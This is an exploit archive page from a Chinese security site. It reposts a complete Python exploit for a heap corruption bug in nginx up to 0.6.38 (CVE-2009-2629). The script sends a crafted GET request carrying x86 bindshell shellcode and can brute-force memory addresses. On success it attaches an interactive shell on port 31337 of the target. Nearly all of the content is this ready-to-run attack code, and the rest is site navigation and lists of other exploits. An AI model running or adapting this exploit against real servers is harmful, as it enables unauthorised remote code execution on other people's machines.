首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
nginx v0.6.38 Heap Corruption Exploit
来源:apconole@yahoo.com 作者:Conole 发布时间:2010-08-30  

#!/usr/bin/env python
#
# Exploit Title: nginx heap corruption
# Date: 08/26/2010
# Author: aaron conole <apconole@yahoo.com>
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
# Version: <= 0.6.38, <= 0.7.61
# Tested on: BT4R1 running nginx 0.6.38 locally
# CVE: 2009-2629
#
# note: this was written and tested against BT4. This means it's an
#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
#       also - only tested successfully against nginx 0.6.38
#              you'll definitely need to modify against other versions
#
# you'll need to know where the offset is going to land, and what the pad is
# from that point to when you've tained execution flow.
#
# A quick way to find out just for verification would be to launch nginx,
# attach GDB to the worker and target it with the exploit, setting the offset
# to 0, or some other arbitrary value. It should crash on a piece of code which
# resembles:
#   if (ctx->offset)
#
# At that point, merely dump the *r; capture the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
#
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
#       found a "magic" combination that would cause the state machine to do
#       what I want to make the bug trigger. Once I do, you can bet BUG will be
#       replaced.

import os
import sys
import socket
import select
import struct
import time
import urllib

REQUEST_METHOD='GET '

# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
NULLPTR='\x00\x00\x00\x00'

# NOTE - this shellcode was shamelessly stolen from the www
#        port 31337 bindshell for /bin/sh
SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'

# Why did I write this up this way? Because given enough time, I think I can
# find a proper set of state change which can give me the same effect (ie: ../
# appearing as the 3rd, 4th, and 5th characters) at a later date.
# That's all controlled by the complex uri parsing bit, though.
DOUBLE_SLASH='//../'

BUG=DOUBLE_SLASH

# taken from the metasploit pattern_create.rb
PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'

def connect_socket(host,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect( (host, port) )
    except:
        return 0
    #sock.setblocking(0)
    return sock

def handle_connection(sock):
    while(1):
        r, w, e = select.select( [sock, sys.stdin],
                                 [],
                                 [sock, sys.stdin] )
        for s in r:
            if s == sys.stdin:
                buf = sys.stdin.readline()
               
                try:
                    if buf != '':
                        sock.send(buf)
                except:
                    print "Xon close?"
                    return 0
               
            elif s == sock:
                try:
                    buf = sock.recv(100)
                except:
                    print "Xon close?"
                    return 0
                if buf != '':
                    sys.stdout.write(buf)

def main(argv):
    argc = len(argv)

    if argc < 4:
        print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])
        print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
        print "[*] host = the remote host name"
        print "[*] port = the remote port"
        print "[*] ctx_addr is where the context address should begin at"
        print "[*] -b specifies a brute-force (which will start at ctx_addr"
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])
    ctx_addr = int(argv[3],16)

    brute_flag = 0
    if(argc == 5):
        brute_flag = 1

    testing = 1

    print "[*] target: %s:%d" % (host, port)

    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)

    print "[*] sending exploit string to %s:%d" % (host, port)

    while(testing):
       
        CTX_ADDRESS = struct.pack('<L',ctx_addr)
        CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)
        POOL_ADDRESS = struct.pack('<L',ctx_addr+56)
        DATA_ADDRESS = struct.pack('<L',ctx_addr+86)
        RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)
        SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)

        #PADDING
        SHELLCODE=PATTERN[:67]

        #the output context structure
        SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS
   
        #Magic
        SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR

        #this is the context object - some null ptrs, then we set range, then
        #pool address
        SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'
        SHELLCODE+=NULLPTR*2+POOL_ADDRESS

        #this is the data buffer object
        SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR

        #this is the pool memory structure ..
        SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR

        # this is the range structure
        SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3

        SHELLCODE+=SHELL
   
        payload = REQUEST_METHOD
        payload += BUG
        payload += SHELLCODE
        payload += ' HTTP/1.0\r\n\r\n'

        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sd.connect((host, port))
        sd.send(payload)
        sd.close()

        if (brute_flag):
            nsock = connect_socket(host,31337)
            if nsock != 0:
                print "[*] Successful Exploit via buffer: %x" % (ctx_addr)
                testing = 0
                handle_connection(nsock)
            else:
                ctx_addr = ctx_addr + 1
        else:
            testing = 0
    print "[*] FIN."

if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)

# EOF


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Blogman v0.7.1 (profile.php) S
·SnackAmp 3.1.2 Malicious SMP B
·Leadtools ActiveX Raster Twain
·SnackAmp 3.1.2 Malicious WAV B
·McAfee LinuxShield <= 1.5.1 Lo
·bsd/x86-bindshell on port 2525
·Linux Kernel < 2.6.36-rc1 CAN
·Mozilla Firefox 3.6.8 Adobe Re
·Microsoft Windows wscript.exe
·Exploit Title: Mozilla Thunder
·flash player 9.exe DLL Hijacki
·mini CMS / News Script Light 1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved